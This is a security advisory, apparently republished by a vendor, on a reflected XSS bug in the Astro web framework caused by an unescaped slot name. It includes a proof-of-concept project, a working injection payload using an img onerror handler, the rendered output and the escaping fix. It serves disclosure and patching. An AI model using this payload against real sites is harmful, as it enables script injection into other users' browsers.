GHSA-8hv8-536x-4wqp
HIGHGHSA-8hv8-536x-4wqp is a high-severity (CVSS 7.1) CWE-80 vulnerability in astro. O3 Security confirms whether GHSA-8hv8-536x-4wqp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Astro: Reflected XSS via unescaped slot name
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
astronpmDescription
Summary
When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.
This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.
Vulnerable Code
packages/astro/src/runtime/server/render/component.ts:371:376
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
I found that key is interpolated directly into the attribute value without proper escaping.
Proof of Concept
For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.
astro.config.mjs
import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
integrations: [react()],
});
src/pages/index.astro
---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
<Wrapper client:load>
<div slot={slotName}>content</div>
</Wrapper>
</body></html>
src/components/Wrapper.jsx
export default function Wrapper() { return null; }
Payload:
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
Accessing this URL will trigger the popup.
<img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" />This will render in html.
<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>
Fix
I suggest leveraging the existing escape function on the slot name.
// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | astro | all versions | 6.3.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for astro. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update astro to 6.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8hv8-536x-4wqp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8hv8-536x-4wqp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8hv8-536x-4wqp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8hv8-536x-4wqp in your dependencies?
O3 detects GHSA-8hv8-536x-4wqp across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.